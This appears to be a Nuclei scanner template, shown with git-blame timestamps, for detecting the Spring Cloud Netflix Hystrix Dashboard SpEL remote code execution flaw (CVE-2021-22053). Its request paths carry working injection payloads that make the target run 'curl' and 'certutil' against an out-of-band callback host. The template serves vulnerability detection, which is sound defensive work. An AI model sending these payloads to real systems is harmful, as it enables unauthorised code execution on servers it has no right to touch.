2021-11-29 13:12:08 +00:00
id : CVE-2021-22053
info :
2022-06-27 16:43:26 +00:00
name : Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution
2021-11-29 13:12:08 +00:00
author : forgedhallpass
severity : high
description : |
2022-06-27 18:33:50 +00:00
Spring Cloud Netflix Hystrix Dashboard prior to version 2.2.10 is susceptible to remote code execution. Applications using both `spring-cloud-netflix-hystrix-dashboard` and `spring-boot-starter-thymeleaf` expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at `/hystrix/monitor;[user-provided data]`, the path elements following `hystrix/monitor` are being evaluated as SpringEL expressions, which can lead to code execution.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to Spring Cloud Netflix Hystrix Dashboard version 2.2.10 or later to mitigate this vulnerability.
2021-11-29 13:12:08 +00:00
reference :
- https://github.com/SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053
- https://tanzu.vmware.com/security/cve-2021-22053
2022-06-27 16:43:26 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-22053
2024-01-29 17:11:14 +00:00
- https://github.com/trhacknon/Pocingit
- https://github.com/ARPSyndicate/kenzer-templates
2021-11-29 13:12:08 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2021-11-29 13:12:08 +00:00
cvss-score : 8.8
cve-id : CVE-2021-22053
cwe-id : CWE-94
2024-01-14 13:49:27 +00:00
epss-score : 0.51942
2024-01-29 17:11:14 +00:00
epss-percentile : 0.97288
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:vmware:spring_cloud_netflix:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
2023-07-27 07:54:39 +00:00
max-request : 2
vendor : vmware
2023-09-06 12:09:01 +00:00
product : spring_cloud_netflix
2024-01-14 09:21:50 +00:00
tags : cve,cve2021,rce,spring,vmware
2021-11-29 13:12:08 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-11-29 13:12:08 +00:00
- method : GET
path :
2023-07-21 17:53:36 +00:00
- '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("curl http://{{interactsh-url}}")}__::.x/'
- '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("certutil -urlcache -split -f http://{{interactsh-url}}")}__::.x/'
2021-11-29 13:12:08 +00:00
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol
words :
2023-07-21 17:53:36 +00:00
- "http"
2022-06-27 16:43:26 +00:00
2023-07-21 17:53:36 +00:00
- type : regex
part : interactsh_request
regex :
- 'curl|CertUtil'
2024-01-30 06:46:18 +00:00
# digest: 4a0a00473045022100b4d3fe94711032d1a972803e2c53190fdefe451c2d9218a6df5094091460bd3c022017cebf0f65907519fa5d09748a58c0d8480286435615ad8a2d569a9f669b6a06:922c64590222798bb761d5b6d8e72950